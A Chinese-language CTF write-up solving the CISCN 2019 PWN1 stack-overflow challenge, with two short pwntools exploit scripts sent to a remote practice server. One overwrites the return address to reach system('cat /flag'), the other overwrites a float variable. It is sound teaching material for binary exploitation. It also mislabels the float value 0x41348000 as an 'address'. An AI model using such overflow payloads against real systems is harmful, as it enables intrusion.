PWN手的成长之路-11-CISCN 2019华北 PWN1-栈溢出

远程连接以下靶机,看看交互。

file 查看程序文件。

checksec 查看程序文件安全属性。开启了 NX 保护,栈上不可执行。

IDA 打开程序文件。查看 ain 函数,发现调用了 func 函数。

查看 func 函数。

这里需要判断 v2 是否等于 11.28125,但是函数就开始就定义了 v2=0.0,但是函数中又 gets() 函数,所以我们可以想到用栈溢出,之后直接让程序跳转到 return system("cat /flag");

查看溢出大小。0x30+0x8

return system("cat /flag"); 的地址。0x4006BE

exp:

复制代码
from pwn import *
r=remote('node7.anna.nssctf.cn',28581)
flag_addr=0x4006BE
payload=cyclic(0x30+0x8)+p64(flag_addr)   
#cyclic 是Pwntols中的一个工具,用于生成特定模式的字符串,以帮助识别缓冲区溢出的位置。
r.sendline(payload)
r.interactive()

得到 flag

方法二:

思路:通过 v1 的值覆盖到 v2 的地址,发送使 v2 的值就等于 11.2815,

v1 离 rbp 的距离是 0x30,v2 离 rbp 的距离是 0x4,所以 v1 离 v2 的距离是 0x30-0x4,也就是溢出大小。

Shift+F12 查看所有的字符串,再双击打开标蓝的这个。

这个 0x41348000 就是字符 11.28125 的地址。

exp:

复制代码
from pwn import *
r=remote('node7.anna.nssctf.cn',28581)
getflag_addr=0x41348000
payload=cyclic(0x30-0x4)+p64(getflag_addr)
r.sendline(payload)
r.interactive()

也可以得到 flag。